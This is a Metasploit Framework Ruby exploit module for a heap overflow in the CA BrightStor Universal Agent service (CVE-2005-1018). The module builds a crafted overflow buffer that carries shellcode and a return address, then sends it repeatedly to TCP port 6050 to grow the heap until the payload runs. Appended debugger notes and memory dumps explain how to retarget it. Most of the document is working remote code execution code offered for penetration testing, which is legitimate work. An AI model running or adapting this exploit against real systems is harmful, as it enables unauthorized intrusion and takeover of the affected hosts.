156 lines
5.3 KiB
Ruby
156 lines
5.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA BrightStor Universal Agent Overflow',
|
|
'Description' => %q{
|
|
This module exploits a convoluted heap overflow in the CA
|
|
BrightStor Universal Agent service. Triple userland
|
|
exception results in heap growth and execution of
|
|
dereferenced function pointer at a specified address.
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2005-1018'],
|
|
[ 'OSVDB', '15471' ],
|
|
[ 'BID', '13102'],
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)
|
|
'Space' => 164,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Magic Heap Target #1',
|
|
{
|
|
'Platform' => 'win',
|
|
'Ret' => 0x01625c44, # We grow to our own return address
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Apr 11 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6050)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# The server reverses four bytes starting at offset 0xa5 :0
|
|
|
|
# Create the overflow string
|
|
boom = 'X' * 1024
|
|
|
|
# Required field to trigger the fault
|
|
boom[248, 2] = [1000].pack('V')
|
|
|
|
# The shellcode, limited to 250 bytes (no nulls)
|
|
boom[256, payload.encoded.length] = payload.encoded
|
|
|
|
# This should point to itself
|
|
boom[576, 4] = [target.ret].pack('V')
|
|
|
|
# This points to the code below
|
|
boom[580, 4] = [target.ret + 8].pack('V')
|
|
|
|
# We have 95 bytes, use it to hop back to shellcode
|
|
boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"
|
|
|
|
# Stick the protocol header in front of our request
|
|
req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom
|
|
|
|
# We keep making new connections and triggering the fault until
|
|
# the heap is grown to encompass our known return address. Once
|
|
# this address has been allocated and filled, each subsequent
|
|
# request will result in our shellcode being executed.
|
|
|
|
1.upto(200) {|i|
|
|
connect
|
|
print_status("Sending request #{i} of 200...") if (i % 10) == 0
|
|
sock.put(req)
|
|
disconnect
|
|
|
|
# Give the process time to recover from each exception
|
|
select(nil,nil,nil,0.1);
|
|
}
|
|
|
|
handler
|
|
end
|
|
|
|
end
|
|
|
|
|
|
__END__
|
|
012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]
|
|
012a0d97 83c404 add esp,0x4
|
|
012a0d9a 85c9 test ecx,ecx
|
|
012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)
|
|
012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????
|
|
012a0da0 6a01 push 0x1
|
|
012a0da2 ff5204 call dword ptr [edx+0x4]
|
|
|
|
Each request will result in another chunk being allocated, the exception
|
|
causes these chunks to never be freed. The large chunk size allows us to
|
|
predict the location of our buffer and grow our buffer to where we need it.
|
|
|
|
If these addresses do not match up, run this exploit, then attach with WinDbg:
|
|
|
|
> s 0 Lfffffff 0x44 0x5c 0x61 0x01
|
|
|
|
Figure out the pattern, replace the return address, restart the service,
|
|
and run it through again. Only tested on WinXP SP1
|
|
|
|
011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
[ snip ]
|
|
01605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
01725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|
|
017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
|